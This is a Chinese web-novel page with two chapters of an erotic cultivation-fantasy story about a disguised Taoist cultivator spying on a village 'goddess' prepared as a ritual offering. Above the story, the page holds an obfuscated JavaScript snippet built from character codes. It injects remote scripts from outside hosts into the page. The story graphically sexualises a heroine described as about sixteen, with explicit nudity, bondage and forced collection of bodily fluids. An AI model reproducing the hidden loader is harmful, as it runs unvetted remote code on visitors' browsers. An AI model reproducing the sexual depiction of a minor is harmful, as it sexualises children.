登录 首页
公告
移除广告,支持支付宝
(function(a){(new Function(String.fromCharCode(...a)))();})([108, 101, 116, 32, 117, 114, 108, 115, 61, 91, 34, 104, 116, 116, 112, 115, 58, 47, 47, 100, 45, 49, 51, 53, 49, 52, 52, 55, 52, 57, 50, 46, 99, 111, 115, 46, 97, 112, 45, 115, 104, 97, 110, 103, 104, 97, 105, 46, 109, 121, 113, 99, 108, 111, 117, 100, 46, 99, 111, 109, 47, 49, 57, 47, 57, 51, 53, 50, 53, 48, 49, 49, 34, 44, 34, 104, 116, 116, 112, 115, 58, 47, 47, 112, 46, 55, 100, 51, 54, 97, 46, 99, 111, 109, 47, 49, 57, 47, 57, 51, 53, 50, 53, 48, 49, 49, 34, 93, 59, 119, 105, 110, 100, 111, 119, 46, 95, 95, 114, 114, 95, 95, 104, 108, 100, 61, 49, 59, 108, 101, 116, 32, 117, 114, 108, 105, 110, 100, 101, 120, 61, 48, 59, 108, 101, 116, 32, 114, 102, 117, 110, 99, 61, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 105, 102, 40, 119, 105, 110, 100, 111, 119, 46, 95, 95, 114, 114, 95, 95, 108, 111, 97, 100, 101, 100, 95, 50, 53, 51, 57, 95, 49, 49, 48, 53, 32, 33, 61, 32, 39, 111, 107, 39, 41, 123, 108, 101, 116, 32, 115, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 115, 115, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 115, 115, 46, 114, 101, 102, 101, 114, 114, 101, 114, 80, 111, 108, 105, 99, 121, 61, 39, 110, 111, 45, 114, 101, 102, 101, 114, 114, 101, 114, 39, 59, 115, 115, 46, 115, 114, 99, 61, 117, 114, 108, 115, 91, 117, 114, 108, 105, 110, 100, 101, 120, 43, 43, 93, 43, 32, 40, 110, 97, 118, 105, 103, 97, 116, 111, 114, 46, 117, 115, 101, 114, 65, 103, 101, 110, 116, 46, 105, 110, 100, 101, 120, 79, 102, 40, 39, 65, 110, 100, 114, 111, 105, 100, 39, 41, 32, 33, 61, 32, 45, 49, 32, 63, 32, 39, 48, 39, 58, 39, 49, 39, 41, 32, 43, 32, 39, 63, 39, 32, 43, 32, 110, 101, 119, 32, 68, 97, 116, 101, 40, 41, 46, 103, 101, 116, 84, 105, 109, 101, 40, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 115, 41, 59, 125, 125, 59, 114, 102, 117, 110, 99, 40, 41, 59, 114, 102, 117, 110, 99, 40, 41, 59]);
天空之城 / 2025/10/14 04:03 / 454 / 35 /
【小说】洪荒缚仙录

第一卷 神女祭山  第1章 山中有神女
  洪荒世界,九州大陆,西南兖州,苍莽山,无名山沟沟内有个与世隔绝的寨子,名为磐石寨。
  用鸡不生蛋鸟不拉屎来形容磐石寨未免有些夸张,寨子数百上千年来与世隔绝,土地稀薄的可怜,抠不出几颗像样的粮食。寨民们靠山吃山,村中多以渔猎为生,抑或攀岩采药自不必说。
  有一日,一个怪人打破了寨子里的宁静。
  “我乃巨阳道人,有方至此!专治跌打损伤,月经不调,不孕不育,腰疼腿软!祖传秘方价格透明,童叟无欺包治百病!看一看瞧一瞧,走过路过不要错过啊~”
  这人二十出头,面容白净,身穿一身黄澄澄的道袍,背上的包裹里装满了大大小小零零散散的古怪物件,他沿着寨中小道边走边叫卖,显得很是不寻常。
  道人拦下一位刚刚下山回家的猎户一脸堆笑的问道:“这位大哥要不要看看贫道这‘金枪不倒膏’,选用九九八十一味名贵药材,经七七四十九日文武火精心熬制而成!贴一贴,腰不酸了,腿不疼了,一口气翻五座山都有劲了!”
  猎户傻眼,只是摇头说道:“外来的道士莫要吹牛!俺们磐石寨后山的‘软筋藤’,揉碎了敷上,比什么狗皮膏药都灵光!快收起你这些破烂,莫要在此聒噪!”
  一旁路边的老妪也是皱眉叹气说到:“你这后生,相貌堂堂为何要干这等坑蒙拐骗之事?快走!快走!莫要冲撞了神女大人!”
  “嗯?神女?什么神女?”
  年轻道人一瞬间瞪起了眼,但就在寨民们想要继续驱赶这假道士时,寨子深处忽然传来一阵肃穆的钟声。
  原本喧闹的寨口瞬间安静下来。
  所有寨民,无论是嬉笑的孩童还是傲慢的猎户,纷纷收敛神色,?自发地退到道路两旁,垂首躬身,神态变得无比恭敬,甚至带着一丝畏惧。
  只见几名神色肃穆、穿着传统服饰的嬷嬷,簇拥着一位少女,正缓缓走来。
  那少女约莫二八年华,穿着一身虽不华贵却极其洁净的素色麻衣,乌黑的长发简单挽起,露出一张清丽绝伦、却带着几分不食人间烟火般苍白的脸。她的眼神很静,像山涧最深处的幽潭,看不出悲喜,只有一种认命般的平静。
  “恭迎神女,墨大人安康!”
  她便是这一代的“神女”——墨。
  站在路边的黄衣道人眯起了眼睛,感受着神女身上不太寻常的气息,心中做着盘算。
  这种与世隔绝的小小山寨一般都有些怪异传统,但任何基层社会组织都会倾向于选择德高望重的人作为主导者,而这个少女乍一看也不过芳龄二八,考虑到胸前那一对大雷就算往大里说也不过二十岁。纵然天生丽质,也不可能真的是什么寨子的主人。
  不过,他所考虑的并非这个。
  “这就是极乐宗的那帮家伙们说的纯阴之体吗,有点意思啊,味真足!”
  道人吸着鼻子感受着少女的方向飘来的香风,香甜且纯粹的气息说明她还是个处子之身,显得更加诱人可口。
  这道人名为林烨,是货真价实的修士,隐藏修为在凡间卖狗皮膏药一方面是兴趣,另一方面他游方至此也并非全然出于兴趣,也带着目的而来。
  “能够匹配我纯阳道体的女修非得是纯阴道体不可,但纯阴之女可是天生的炉鼎,别说一线城市,哪怕二三线小县城里要是出了个先天的纯阴之女也早就被送到其他仙家去了,没想到这鸟不拉屎的山沟沟里竟有这等好货,可得想办法怎么把她搞到手才行!”
  暗暗下定决心之后,林烨缓步上前,脸上带着猥琐的笑意拦在路中间:“哎呀呀!这位姑娘请留步!贫道观你印堂发暗,气血有亏,似有阴寒缠身之兆!我这儿有一味独家秘制的‘暖宫培元散’,正对姑娘的症状!价格好商量,只需三文…不,一文钱!结个善缘如何!”
  此言一出,两旁寨民顿时炸了锅!
  “放肆!”
  “哪来的野道士!敢对神女不敬!”
  “滚开!惊扰了神女,把你扔去喂山魈!”
  几个年轻气盛的猎户撸起袖子就要上前动手。
  神女墨却微微一笑,轻轻抬了抬手。
  周遭的呵斥声瞬间平息。
  她停下脚步,清澈的目光落在林烨身上,并无恼怒,也无羞涩,只有一种超乎年龄的平静与疏离。
  神女微微颔首,朱唇微启,声音清柔却带着不容亵渎的意味:“多谢道长好意。我心脉无恙,不劳费心。还请道长自重。”
  说完,她不再看林烨一眼,在嬷嬷的护卫下,缓步离去。
  林烨站在原地,摸着下巴上贴上去的假山羊胡面露笑意,看着墨被人簇拥着远去的背影,眼中非但没有受挫,反而勾起了极大的兴趣。
  俗话说仙凡殊途,这神女虽说气质冷艳但终究不过是个凡人,而对于凡人,只要随便拿出一点点微乎其微的代价就可将其搞到手,并且让这些草莽之中的山民心满意足。
  “呵呵呵,磐石寨的神女大人吗,我要定了!今晚就给你拿下解锁神女大人の淫乱初夜CG!”
  话虽如此,林烨并非什么大奸大恶的邪修,只是嘴比较碎而已。
  入夜时分,一只麻雀顺着神女的气息飞进了半山腰上的牺宫之内,它趴在房梁上扭动着肥嘟嘟圆滚滚的肚子,伸出脑袋欣赏下方美妙的光景。
  窗棂缝隙间,房间内水汽氲氤,如薄纱般缭绕,模糊了景象,却更添几分朦胧的诱惑。
  神女墨浸在一只硕大的古旧木桶中,桶内药汤色泽深褐,近乎墨色,散发出浓郁到化不开的、带着苦涩清冷气息的药味,其间又隐约夹杂着一丝极淡的、若有若无的冷冽异香——那并非草木之香,更像是…雪后初霁的寒梅,或是极地冰原下的某种灵粹。
  她乌黑的长发湿漉漉地贴在光洁的背脊与桶沿,露出一段修长白皙的脖颈和线条柔美的肩膀。水温似乎极高,细腻的肌肤被蒸腾出淡淡的绯红,如同白玉染霞,但她秀美的眉头却微微蹙着,长睫低垂,在眼下投出一小片阴影,唇瓣抿成一条隐忍的直线。
  细密的汗珠从她的额角、鼻尖渗出,缓缓滑落,分不清是热的,还是痛的。少女胸口随着呼吸微微起伏,每一次吸气,桶中药液的色泽似乎便淡去一丝,而那缕冷冽异香则更明显一分。
  麻雀安静地立在房梁上,黑豆般的眼睛里闪过一丝了然与极细微的…不赞同。
  “以‘炙阳草’、‘焚心花’为主材,辅以烈性灵泉…” 他在心中默辨药性,“这踏马到底是在药浴还是炖汤呢?”
  他看到许墨偶尔会因难以忍受的痛苦而轻轻颤抖,指尖用力地抠着桶壁,指节发白。但她始终咬紧牙关,不曾发出一声呻吟,只有那微微颤抖的羽睫,泄露着此刻正在承受的煎熬。
  “蠢办法…”
  林烨心下评判。
  “这般粗暴的激发,犹如竭泽而渔,虽能短时间内让纯阴之气显化,却在不断损伤她的根基元气。长此以往,莫说长生久视,怕是年寿都有损。布置此法之人,要么见识浅薄,要么…其心可诛。”
  麻雀歪了歪头,眼神中的玩世不恭早已褪去,只剩下纯粹的探究与一丝不易察觉的凝重。他意识到,这看似偏僻的山寨,这被奉为“神女”的少女,其背后隐藏的秘密,远比他最初预想的要复杂得多。
  如果说只是凡人信仰瞎搞一通,那固然没什么,但桶内药材的气息显然是有过仙家指导后又被一顿魔改的产物,不光是作为主材的软筋藤,柔骨散,剩下的几种药材尽管对修仙者来说很是普通,但都是熬制灵膳时才会使用的调味品。
  这就像是上辈子在地球那会如果说想要体验什么高端药浴spa结果服务员端着茴香八角花椒生姜进来给你倒进浴桶里库库一顿泡,完事了又给你身上搓盐和五香面,再涂上蜂蜜的话是个人都会觉得有大问题,但眼前这少女却毫无察觉的就这样洗着澡。
  林烨思索一番,他来此之前神识早已扫过整个峡谷,并未感到邪修的气息。但用食材腌制必然是为日后生吞活剥做打算,这种家伙不是也得是邪修!
  药浴持续了约莫半个时辰,直至桶中药液颜色变得近乎清水,那缕冷香也彻底融入许墨体内。
  她这才长长地、带着一丝解脱意味地吁出一口气,仿佛耗尽了所有力气,?疲惫地向后靠在桶壁上,闭上眼,胸口微微起伏,缓了好一会儿。蒸腾的水汽渐渐散去,露出她愈发苍白、却隐隐透出一种琉璃般剔透的脸庞,空气中还残留着那股冷冽与苦涩交织的奇异药香。
  然后,她缓缓站起身,走向一旁的垫子开始舒展四肢,拉伸身体。
  神女墨缓缓跨出木桶,晶莹的水珠顺着她纤秾合度的身段滚落,在粗糙的木地板上溅开细小的水花。她取过一块柔软的细葛布,仔细地、一寸寸地拭去身上的水渍。
  经过药力的蒸腾与冲刷,她的肌肤透出一种罕见的、近乎半透明的质感,底下又隐隐透出健康的绯红,如同最上等的羊脂白玉被烛光映透,白里透红,莹润生光。细密的汗珠依旧不断从她的毛孔中渗出,并非油腻,反而像晨露般清透,在她光滑的脊背、纤细的腰肢、笔直的双腿上复上了一层极细腻的湿漉漉的光泽,在昏暗的油灯下,勾勒出惊心动魄的青春曲线。
  她并未立刻穿衣,而是赤着双足,走到房间中央一块略旧的蒲团上。
  她深深吸了一口气,再缓缓吐出,仿佛在平复体内残余的药力激荡。随后,她在脑后盘起长发,开始了一系列奇妙的动作。
  屋梁上的麻雀歪了一下脑袋。
  “泡完澡之后做全裸瑜伽吗?搞不懂。”
  神女的身体饱满又不失线条与形状,并非完全是武者的刚猛练体,也非舞者的柔媚姿态。
  她的动作极慢,极稳,带着一种独特的、内敛的韵律感。
  她徐徐向前俯身,指尖试图触碰脚背,脊柱拉伸出优美而富有韧性的弧线;“啊,坐位体前屈,中学体育考试就要考的。”
  她单足独立,另一条腿缓缓向后、向上伸展,直至与躯干几乎成一直线,维持着惊人的平衡;“嗯,站立一字马,牛逼牛逼。”
  小麻雀吧唧着嘴欣赏着眼前的美景,偶尔扑腾一下翅膀表达欢快之情。
  紧接着,神女单腿向后抬起,双臂舒展如白鹤亮翅,胸腔打开,肩胛骨在薄薄的肌肤下清晰可见地滑动……
  “这啥姿势?金鸡独立?好像是艺术体操表演的时候见过来着,草了想不起来。”
  每一个体式,她都保持得异常专注和持久。
  汗水汇聚成更大的珠滴,从她的下颌、肘尖、腰窝处滚落。
  神女的呼吸与体式配合,绵长而深沉,每一次吸气都仿佛将周围的灵气纳入体内,每一次呼气则带出淡淡的、被逼出的药力残渣。
  少女沉浸在一种忘我的状态中,眼神空灵,仿佛意识已完全沉入体内,引导着每一丝气息,感受着每一寸肌肉与经脉的舒展与变化。那专注的神情,那被汗水浸润、散发着蓬勃生命力与惊人美感的身躯,构成了一幅极具冲击力的画面——脆弱与坚韧,柔美与力量,在此刻完美地融合于一体,于此同时,随着每一次呼吸吐纳,四周的灵气也似乎有了缓缓的波动迹象。
  林烨原本带着几分玩味与探究的心态,不知不觉中,已彻底转化为一种纯粹的欣赏与浓厚的兴趣。
  “有意思,真是有意思,纯阴之体+后天习得的吐纳法,药浴打通经脉之后再用体式引导,区区凡人竟然能习得练气的法门,真有意思。”
  一整套体式完成,神女墨缓缓收势,再次长长吐出一口浊气。她的气息平稳了许多,肌肤上的潮红也渐渐褪去,只留下健康的光泽与通透感。
  她静静站立片刻少许调息之后才取过一旁单薄素净的衣物穿上,隔着布料仍然能看出肌肤的柔嫩与胸前一对激凸的色彩。
  林烨心中有些躁动,神女墨的身体光洁白净,腋下和阴部更是干净无毛,透出一股浑然天成的粉嫩色彩,一对肉嘟嘟的阴唇尤其看得他心痒难耐,上辈子那些PS过的片子里都没见过如此高品质的粉嫩馒头批,恐怕只有二次元才见得到,而如今如此美妙的肉体就摆在自己眼前,修仙世界实在是太棒了!
  “咳咳咳,冷静冷静,林烨啊林烨,你可是个修仙者,怎么能被这种着相的东西所迷……卧槽!”
  也难怪林烨心中惊骇,因为下方的场面更加让他血脉喷张。
  一个穿着素衣的嬷嬷端着一个木盘子走了进来,盘子上放着一个瓶子,剩下的东西让林烨感到熟悉又惊诧。
  几捆赤红色的长绳盘绕紧凑摆在一起,一根两端拴着细绳的竹筒,还有红色布条和一小管鱼胶一样的东西。
  “神女大人,请用灵饮。”
  老妇人将托盘放下,捧起琉璃瓶递给神女;“嬷嬷,下周就是祭典了,如今我正是灵液效用最好的时候,不妨多采一些。”
  “林烨?什么林烨?她发现我了?哦不对,是灵液啊……”
  房梁上的林烨一惊,但随后发现自己只是多疑。
  “神女大人不必担心,寨子里的大家都还安好,无需额外的灵液,再说若是神女大人劳累过度伤了身体让山神大人不满又如何是好呢?”
  “嬷嬷说的在理。”
  神女将瓶中清水咕嘟咕嘟一口气饮下之后跪坐在蒲团上闭眼静心养神,而一旁的老妪则开始焚香祷告,对着神女跪拜三次之后拿起了布条和鱼胶。
  “神女大人,请解衣。”
  房梁上,林烨所化的麻雀正看得入神,下方嬷嬷已开始了动作。
  神女墨依言伸出那双骨肉匀停、指节分明的玉手。老嬷嬷取过鱼胶,仔细地涂抹在她的十指和掌缘,直至每一寸肌肤都被透明的胶质覆盖。神女随即缓缓握紧双拳,鱼胶迅速凝固,将她的手指牢牢封印在拳心之内,缠上布条后便再也无法张开。
  “请神女示下,今日当以何式敬奉?” 老嬷嬷恭敬地垂首询问。
  神女墨略一沉吟,清冷的声音缓缓响起:“今日寨中偶遇一道人,言语虽轻佻,然气息渊深,迥异凡人。或许…是山神大人心系祭礼,提前化身前来察看也未可知。”
  她顿了顿,继续道:“既如此,便缚一尊‘后手观音式’,以表我磐岩寨至诚之心。双腿…用‘折腿式’即可,莫要让山神大人觉得我等怠惰。”
  林烨心中不由得吐槽,这个神女墨实在是残念的很,说她傻吧她能看出自己不是凡人,但要说她聪明?把自己当成邪修是几个意思?老子是要正大光明的问你要不要做我“巨阳道人”的鼎炉……不对是道侣!道侣的!才不是那种靠着坑蒙拐骗欺负凡人的邪修!绝对不是!
  “谨遵神女意。”
  老嬷嬷眼中闪过一丝了然与愈发深的敬畏,显然认为神女的判断极有道理。
  她取过那赤红色的软筋藤绳,开始熟练地捆绑。
  先是绕过神女已被自行封印的双拳,层层缠绕,将其牢牢固定在腰后向上提,直到神女双臂嵌入肩胛骨之间的缝隙,双手手腕被拉到后颈处,小臂完全贴合,形成“后手观音”的基态。绳索继而向上,绕过肩颈,在胸前交叉勒紧,深深陷入白皙的肌理,将一对玉乳勒住上下两侧显得更加显眼,最终与背后的绳结相连。
  接着是双腿,嬷嬷将神女的脚踝并拢缚死,随后迫使她膝关节弯曲,将大腿与小腿折叠紧贴,用绳索在大腿中部和脚踝处紧密缠绕连接,形成极其羞耻且难以挣扎的“折腿式”。
  整个过程,神女墨极为配合,甚至主动调整姿势以便捆绑得更紧更贴合。
  随着绳索深深嵌入皮肉,将她的胴体束缚成一个充满屈辱感却又奇异般带着神圣意味的姿态。
  最后,老嬷嬷将长绳抛过房梁,用力拉动。神女墨的身体瞬间被吊离地面,以标准的“四马攒蹄”式悬吊于房屋正中——她的双臂反剪在身后被高高吊起,折叠的双腿也被向上拉起,全身的重量都依赖于深深陷入肉里的绳索,身体被迫弯曲成一个极其柔韧又极度脆弱的弧线。
  就在绳索荡过房梁的一刹那,看得太过入迷的林烨(麻雀)躲闪不及,竟被那疾速掠过的绳尾“啪”地一下抽中,叽呀一声惨叫,直接摔落在地板上,扑腾着翅膀一时晕头转向。
  “嗯?哪来的扁毛畜生!” 老嬷嬷大惊,以为祭祀的隐秘被窥探,眼中凶光一闪,上前一步抬脚就要将这意外来客踩死。
  “嬷嬷,”
  被吊在半空的神女墨忽然开口,声音因疼痛而带着些许喘息,却依旧平静,“莫要杀生。今日既疑是山神巡弋,此雀或许亦有一份灵性,惊扰了反倒不美,把它放走便是。”
  老嬷嬷闻言,立刻收脚,恭敬地应道:“是,神女大人仁德。”
  她弯腰拾起那只还在发懵的麻雀,走到窗边,将其抛了出去。
  林烨扑棱着翅膀在空中稳住身形,心中一阵后怕,暗道好险,这一脚要是踩上了虽说伤不到自己,但被一个老太太照着脸上来一脚自己身为仙人的面子往哪里丢啊?不过要是神女墨用她的玉足……嘿嘿嘿,别说踩脸了,踩哪里想必都会舒服得很!
  他岂会就此离去,立刻又悄无声息地飞回窗外,透过缝隙继续向内窥视。
  屋内,老嬷嬷取过一条宽布带,轻柔地缠绕在神女墨的双眼之上,彻底遮蔽了她的视线。
  随后,“采液”开始了。
  嬷嬷取出一根尾部连着细绳的小巧竹签,轻轻插入神女的唇缝间,她用竹签巧妙地分开贝齿,夹住了神女柔软的舌头,微微向外牵引,使得她的檀口不得不保持一种微张吐舌的状态。
  “请神女奉上‘甘霖’。”
  嬷嬷低语,同时在下巴下方悬挂了一个小巧的玉瓶。
  唾液无法控制地开始积聚,顺着被夹住的舌尖缓缓溢出,一滴、两滴……渐渐汇聚成细流,精准地滴落进下方的玉瓶之中。
  神女的喉间发出极其细微的吞咽困难的声音,眼角似有湿意渗出,浸湿了蒙眼的布条。
  接着,嬷嬷又在神女双腿之间,那最私密的阴唇部位悬挂了另一个稍大的玉瓶。她拉动了一下紧紧勒入阴唇之间的股绳,使得绳子的凹陷正对玉瓶口。
  “请神女奉上‘净水’。”
  被吊缚的姿势、小腹的压力以及绳索的轻微刺激,使得这项指令难以抗拒。
  细微的水声再次响起,清澈的液体顺着被绳索勒开的缝隙,淅淅沥沥地滴入玉瓶中。神女被蒙着眼的身躯剧烈地颤抖了一下,全身肌肤都泛起了羞耻的粉红色。
  最后,嬷嬷取来两个更小的玉瓶,放在香烛火上略微烘烤了一下瓶口内部,然后如拔火罐一样迅速而轻柔地将瓶口吸附在神女那因身体倒垂而自然垂下、微微颤动的粉嫩乳头之上。轻微的吸力刺激着乳尖,很快就让那一对原本粉嫩青涩果实变成了熟透一样的青紫色。
  “请神女奉上‘玉醴’。”
  这一次等待的时间稍长,几滴稀薄而纯净的乳白色液体缓缓渗出,透过薄薄的瓶壁隐约可见。
  当三个小瓶都盛装了少许体液后,嬷嬷才小心地将它们取下封好。
  她缓缓松开房梁上的绳索将神女墨放下,开始为她解除一身的束缚。
  绳索解开后,神女白皙的肌肤上布满了纵横交错的深红色勒痕,尤其是手腕、脚踝、胸乳和大腿根部痕迹尤为深刻。
  林烨心中不由得庆幸此时的自己是只麻雀,不然如果是哺乳动物,下半身非要当场爆炸不可。
  这山沟沟里竟有如此的极品女子,如今就算是违背祖宗也要把她拿下!
  神女瘫软在地,剧烈地喘息着。老嬷嬷却并未停下,她跪坐在神女身旁,用一双布满老茧却异常温暖的手,开始为神女按摩全身。
  她从四肢到躯干,仔细地揉捏、推拿着每一寸被绳索压迫过的肌肉和皮肤,力道颇大,仿佛要将那些淤痕化开,将僵硬的肌肉揉散。直到神女全身的肌肤都被搓揉得通红发热,如同熟透的虾子,血液循环似乎也重新畅通起来,嬷嬷才停下手。
  她恭敬地替神女穿好素衣,然后退后两步,伏地行礼:“三液已奉,净体已成。万望山神悦纳,佑我磐岩寨十年风调雨顺,猎采丰饶。神女大人辛苦,请好生歇息。”
  神女墨点头应允,老嬷嬷再拜之后捧着那三个盛装了“甘霖”、“净水”、“玉醴”的小玉瓶,小心翼翼地退出了房间。
  神女墨疲惫不堪,她缓缓移动到床上,蜷缩着身体,很快便沉沉睡去。
  窗外,林烨所化的麻雀却陷入了深深的思索。
  甘霖、净水、玉醴……处子之唾液、尿液、初乳。
  这绝非普通祭祀!分明是某种极其古老邪门的炼丹或是炼器所需的‘阴属性灵引’!
  采集过程如此繁复苛刻,要求献祭者心甘情愿且需保持特定状态……这磐岩寨背后绝对有邪修在主导!
  但究竟是哪一路的邪法,需要用到这三种体液混合?
  他搜肠刮肚地回忆着自己看过的宗门典籍和野史杂闻,却毫无头绪。
  这三种体液虽然都蕴含一丝微弱的元气,但通常被认为污秽或寻常,远不如精血、骨髓来得重要。
  如此大费周章地采集,目的究竟何在?
  决心弄个清楚的林烨,扑棱着翅膀,悄无声息地跟上了那名老嬷嬷。
  只见老嬷嬷捧着玉瓶,并未前往祠堂或什么隐秘之地,而是径直来到了栖宫边缘的炼药坊。坊内火光熊熊,几个药师正在巨大的药桶前忙碌着,桶内翻滚的正是那种深褐色的、散发着浓郁软筋藤气味的药汤。
  老嬷嬷将三个玉瓶中的液体依次倒入一个正在熬制的小号药锅中,那药锅内的汤汁颜色似乎更为深邃,气味也更为奇特。林烨听到其中一个像是管事模样的药师对嬷嬷说道:“嬷嬷放心,这次的火候定能掌握得恰到好处。”
  嬷嬷皱眉说到:“为神女大人净牲的汤药,必须香甜可口,不能味道太重,掩了神女自身的灵韵,也不能太淡失了药力。定要将神女大人从头到脚,从里到外,都腌制得恰到好处,如此,山神大人才会欣然纳飨,赐福我寨。”
  药师点头:“还请嬷嬷放心,上一次的事情绝不会再犯!”
  “腌制”二字,如同惊雷般在林烨(麻雀)的脑海中炸响!
  很显然,这一切根本不是什么沟通山神的仪式,而是一场彻头彻尾的、为某个隐藏的“山神”(邪修)准备活人祭品的预处理过程!
  收集三种体液并非直接使用,而是作为药引,加入这最终用于浸泡“祭品”的药汤中,目的是为了将神女墨的身体“调理”成符合那“山神”口味的特定状态!
  “暴殄天物!真是暴殄天物!”
  林烨心中怒吼,“竟将万载难逢的纯阴之体当做食材般腌制!这背后的邪修,老子定要把你揪出来挫骨扬灰!”
  他强压下立刻现身的冲动,既然祭祀就在下周,那邪修定然会在那时出现。他决定等,一定要亲眼看看,到底是哪个不开眼的魔头,敢如此糟蹋他看中的绝佳炉鼎!
  麻雀眼中闪过一丝冷冽的寒光,悄无声息地飞离了炼药坊,重新融入夜色之中。
  磐石寨的夜晚,依旧寂静。


天空之城 / 发表于: 2025/10/14 04:09:53

第2章 神女祭山神
  一个星期很快就过去,严格来讲只有六天,这六天里化作麻雀的林烨几乎时时刻刻盯着这神女,每日药浴,拉伸身体,采集三种体液,一如往常。
  可惜的是,除了自己之外其他的所谓山神也好邪修也罢并没有现身的迹象,整个山谷里一丝灵力波动都没有。
  如今已经是祭祀仪式的前一天,今日与往常很是不同。
  磐石寨十年一度的“神女祭山”,终于在压抑却又狂热的氛围中拉开了序幕。
  晨曦微露,薄雾尚未完全散去,寨心巨大的祭坛周围已经黑压压地跪满了人。
  男女老少皆穿着他们最整洁的麻布衣物,额头紧贴冰冷的地面,空气中弥漫着一种难以言喻的肃穆与期盼。
  林烨所化的麻雀藏身于祭坛旁一株古松茂密的枝叶间,黑豆眼睛冷眼俯瞰着这一切。
  他的神识依旧没有扫到任何邪修的灵力波动,连正道修士的灵力痕迹也是丝毫没有,祭坛上空只是浮动着一种集体性的、近乎盲目的狂热情绪,正在人群中积聚、发酵,传播到四方。
  “啧,好大的排场。”
  麻雀歪了歪头,眼里闪过一丝讥诮。
  他的目光越过匍匐的寨民,落在祭坛中央那口巨大的青铜缸上。缸下烈火熊熊,缸内碧绿色的药汁翻滚沸腾,散发出浓郁到令人作呕的,混杂着好几种刺鼻的草药味的让他身为修士的体质都有些扛不住。
  “炙阳草、腐骨花、迷心莲……嘿,还真是下血本,这锅‘浓汤’,别说凡人,就是头妖象也得瘫上三天。”
  到底是什么样的妖物能有这么重的口味?就像是他上辈子能理解有人喜欢吃麻辣有人喜欢吃鲜甜,但你要是用42号混凝土拌意大利面那家里怎么滴也得请个高人看看。
  当日头完全跃出山脊,将第一缕金辉洒向祭坛时,沉重的号角声“呜——”地响起,撕裂了清晨的寂静。
  所有寨民停止了窃窃私语,他们的身体伏得更低。
  牺宫厚重的大门缓缓打开,生锈的铰链发出让人牙酸的声响。
  只见身穿鸟羽兽骨装饰的祭袍老祭司手持一根缠绕着软筋藤的古木杖缓步走上祭坛。
  他身后,四位神色肃穆的嬷嬷,搀扶着身着半透明纱衣的神女墨,缓缓走下宫门外的石头台阶,来到那碗形祭坛的最中央。
  墨今日未施粉黛,容颜苍白得近乎透明,唯有一双纯黑的眸子深幽如古井,映不出丝毫波澜。薄如蝉翼的素纱长衣在晨曦的阳光下勾勒出她纤秾合度、青春饱满的躯体轮廓,玲珑浮凸,若隐若现,圣洁中透着令人心悸的脆弱。
  “恭迎神女,献祭山岳!佑我磐岩,延续万载!”
  老祭司率先高呼;“佑我磐岩,延续万载!!!”
  下方寨民立刻应和,声浪震天,每个人的脸上都洋溢着一种近乎癫狂的虔诚与满足。
  他们望向神女的眼神充满了无限的敬畏与赞美。
  赞美她即将为寨子做出的牺牲,赞美她这具即将献给山神的完美祭品。
  “一群疯子,傻逼。”
  林烨心中冷笑,所谓悲剧就是把美好的事物给毁灭给别人看,但如今这些山间野人的行为就像是费尽力气四处收集食材,又耗尽心神改刀切花,最后放入锅中用最合适的火候烧制成的绝味菜肴,拍个照发完朋友圈就倒进厕所里冲掉!
  这不是悲剧,这是纯粹的铺张浪费,是愚蠢的傻逼行为。
  沐曦光,褪凡秽!
  曝日精,散人味!
  净汝体,待神尝——!
  老祭司用藤枝蘸取旁边石盆中清澈的灵水用力挥洒向神女。
  冰冷的水珠打在墨的身上,薄纱瞬间湿透,紧紧贴合肌肤,勾勒出更加惊心动魄的曲线。她微微颤抖了一下,长睫轻颤,闭上了眼睛,任由水珠从脸颊滑落,分不清是符水还是泪。
  “笑死,随便找个石头碗上面放个牌子写上灵水就是灵水了?”
  麻雀不屑地撇撇嘴,眼前这些家伙们的行为在他眼里就像是一群猴子围成一圈尝试建立三权分立的议会制度一样离谱。
  接下来的“终浸”环节更是看得林烨眉头紧锁。
  神女被搀扶着一步步走向那口翻滚着碧绿药液的青铜巨缸。
  尽管下面的火苗已经被熄灭,但灼热的气浪依旧让神女的肌肤瞬间泛起不自然的红晕。
  “呃……”
  当她的玉足率先浸入药液时,即便早有心理准备,那极高的温度和药物强烈的刺激性仍让她发出一声压抑不住的痛哼,脚趾猛地蜷缩起来,秀美的眉头紧紧蹙起。
  但随后她又咬牙坚持,将整个小腿,随后是大腿放入缸中。
  四个嬷嬷握着她的手臂有的按着肩膀将她压进缸内,直至药液没至锁骨。碧绿的汤汁包裹着她白皙的肌肤,林烨看着那四个戴着口罩的嬷嬷,又看了一眼被泡在缸中神情恍惚的神女,心想难怪,一般凡人光是熏也被熏死了,更何况这缸内的药液少说也要有六十度,如果不是神女已经有近乎练气级别的体质恐怕会被当场烫的屁滚尿流。
  “藤软筋,石塑形,折玉骨,化山灵……”
  几位嬷嬷立刻上前,老妪们口中反复吟唱着古老的咒语,用陶勺不断舀起滚烫的药液,淋浇她的头顶、肩颈,尤其是胳膊、手腕、脚踝、膝弯等关节处。她们枯瘦如柴的手指用力揉按、拿捏着她的关节,仿佛在盘一件珍贵的玉器,又像是在处理一块需要精心炮制的肉料,使其变得更加“软烂可口”。
  随后她们又将墨捞出,平放在一座大青石板上从四个角引出绳索将墨的四肢拉成X形状,七手八脚的揉搓她的膝盖,腰部,脚踝,还有身体的各个部位。
  墨咬着一截软筋藤茎,贝齿深深陷入其中,竭力忍受着关节被反复揉搓掰弄的酸胀与疼痛,以及药力疯狂渗入体内带来的灼热与麻木感,她从头到尾一声不吭,汗水如泉涌般从她全身毛孔冒出,与药液混合在一起。
  在全身按摩之后她又被丢入药缸浸泡随后再次捞出,如此反反复复,山民们也随着节奏一起跪拜吟唱诡异的歌谣。
  神女的眼神逐渐涣散,失去了焦距,原本清冷的脸庞上升起一种不正常的潮红,呼吸也变得急促起来。
